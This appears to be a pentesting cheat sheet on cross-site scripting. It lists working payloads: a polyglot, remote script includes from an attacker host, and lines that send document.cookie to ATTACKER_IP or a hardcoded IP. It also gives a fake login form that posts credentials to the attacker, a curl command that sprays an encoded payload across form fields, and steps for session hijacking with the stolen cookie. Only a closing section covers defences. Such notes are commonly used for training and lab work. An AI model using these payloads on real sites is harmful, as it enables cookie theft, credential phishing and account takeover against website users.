Cross-site scripting (XSS)

Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into websites. There are two sides: source (frontend) and sink (backend).

REMEMBER: Viewing the Page Source (CTRL+U) or Inspecting Element (F12) are two separates things: respectively, one is the HTTP response (static site, scripts pre-execution) and the other is the final website (dynamically loaded, scripts post-execution)

TypeDescription
Stored XSS (Persistent)Stored in the backend… The most critical type of XSS, which occurs when user input is stored on the back-end database and then displayed upon retrieval (e.g. posts or comments)
Reflected XSS (Non-Persistent)Only passes through the backend… Occurs when user input is displayed on the page after being processed by the backend server, but without being stored (e.g. search result or error message)
DOM-based XSSNever touches the backend Non-Persistent XSS type that occurs when user input is directly shown in the browser and is completely processed on the client-side, without reaching the back-end server (e.g., through client-side HTTP parameters or anchor tags)

Breaking Context

Manual Payloads

Sometimes, certain payloads are not allowed

<script>alert(window.origin)</script>

<img src="" onerror=alert(window.origin)>

<svg/onload=alert(window.origin)>

// Polyglot Breaker
javascript:"/*\"/*`/*' /*</title></textarea>--></noscript></style></xmp>"></a><img src=x onerror=alert(window.origin)>//

---

# Setup listener on ATTACKER_IP
sudo python3 -m http.server 80

// Remote script
<script src="http://<ATTACKER_IP>/script.js"></script>

// Same idea but enumerate vuln fields
<script src="http://<ATTACKER_IP>/username"></script>

// Exfil cookies
document.location='http://<ATTACKER_IP>/index.php?c='+document.cookie;
new Image().src='http://<ATTACKER_IP>/index.php?c='+document.cookie;

Login Form Injection

<h3>Please login to continue</h3>
<form action=http://<ATTACKER_IP> >
    <input type="username" name="username" placeholder="Username">
    <input type="password" name="password" placeholder="Password">
    <input type="submit" name="submit" value="Login">
</form>

Blind XSS

Manual

Generally, to enumerate Blind XSS vulns, start by setting a server to receive a callback for a particular HTML field that is being tested.

mkdir /tmp/tmpserver && cd /tmp/tmpserver
cat << 'EOF' > script.js
new Image().src='http://10.10.14.175:8080/index.php?c=' + document.cookie;
EOF
php -S 0.0.0.0:8080

NOTE: usually, password fields are hashed and email fields are validated client/server side, so they are harder or impossible

# MODIFY PAYLOAD AS NEEDED
PAYLOAD='"><script src=http://<ATTACKER_IP>:8080/script.js></script>'
# Encode it
ENCODED=$(python3 -c "import urllib.parse; print(urllib.parse.quote('${PAYLOAD}'))")
# Hack it!
curl "http://<TARGET>/<PAGE>?\
Name=${ENCODED}\
&Email=${ENCODED}\
&Phone+Number=${ENCODED}\
&Product=${ENCODED}\
&os=${ENCODED}\
&browser=${ENCODED}\
&message=${ENCODED}\
&ttype=${ENCODED}" \
-H 'X-Requested-With: XMLHttpRequest'

Check the PHP server for the response with the cookie. Then add the cookie to the browser and visit the appropriate login page:

  • Click Shift+F9 to show the Storage bar
  • Click on the + button on the top right corner
  • Add Name is the part before = and the Value is the part after = from the stolen cookie

Dalfox

NOTE: this is very dangerous and can break servers easily

# this installs the program at `~/go/bin/dalfox`
go install github.com/hahwul/dalfox/v2@latest
# HTTP GET
dalfox url 'http://<TARGET>/?<PARAM>=<VALUE>'

# HTTP POST (can include multiple params for -d)
# COOKIES: -C 'PHPSESSID=<YOUR_COOKIE>'
dalfox url 'http://<TARGET>/' -X POST -d '<PARAM>=<VALUE>'

Blind

# Fuzz web page fields
dalfox url "http://<TARGET_IP>/<PAGE>" \
  --skip-mining-dom \
  --blind "http://<ATTACKER_IP>:8080" \
  -X POST \
  -d "<PARAM>=<VALUE>"
  --header "X-Requested-With: XMLHttpRequest" \
  --blind "http://10.10.14.175:8080" \
  --delay 500

XSS Prevention & Mitigation

XSS defense requires a Defense in Depth approach. Never rely solely on Frontend validation (it is easily bypassed).

Frontend

  • Input Validation: Use Regex to enforce strict formats (e.g., Email, Date).
  • Sanitization: Strip dangerous tags before processing.
  • Safe Sinks: Avoid writing raw HTML.
    • UNSAFE: innerHTML, outerHTML, document.write(), jQuery append(), html().
    • SAFE: innerText, textContent.

Backend

  • Input Validation: Reject input that doesn’t match expected types (e.g., PHP filter_var).
  • Input Sanitization: Escape special characters before storage (e.g., PHP addslashes, Node DOMPurify).
  • Output Encoding (CRITICAL): Convert special characters into HTML Entities (e.g., <&lt;) before rendering.
    • PHP: htmlspecialchars($input, ENT_QUOTES, 'UTF-8')
    • NodeJS: html-entities library.

Server Configuration

  • Content Security Policy (CSP): The most powerful header against XSS.
    • Content-Security-Policy: script-src 'self' (Only allow scripts from the same origin, blocks inline JS).
  • Cookie Flags:
    • HttpOnly: Prevents JavaScript from reading document.cookie.
    • Secure: Ensures cookies are only sent over HTTPS.
  • Headers:
    • X-Content-Type-Options: nosniff (Prevents MIME sniffing).
  • WAF: Web Application Firewall (ModSecurity, AWS WAF) to block common payloads.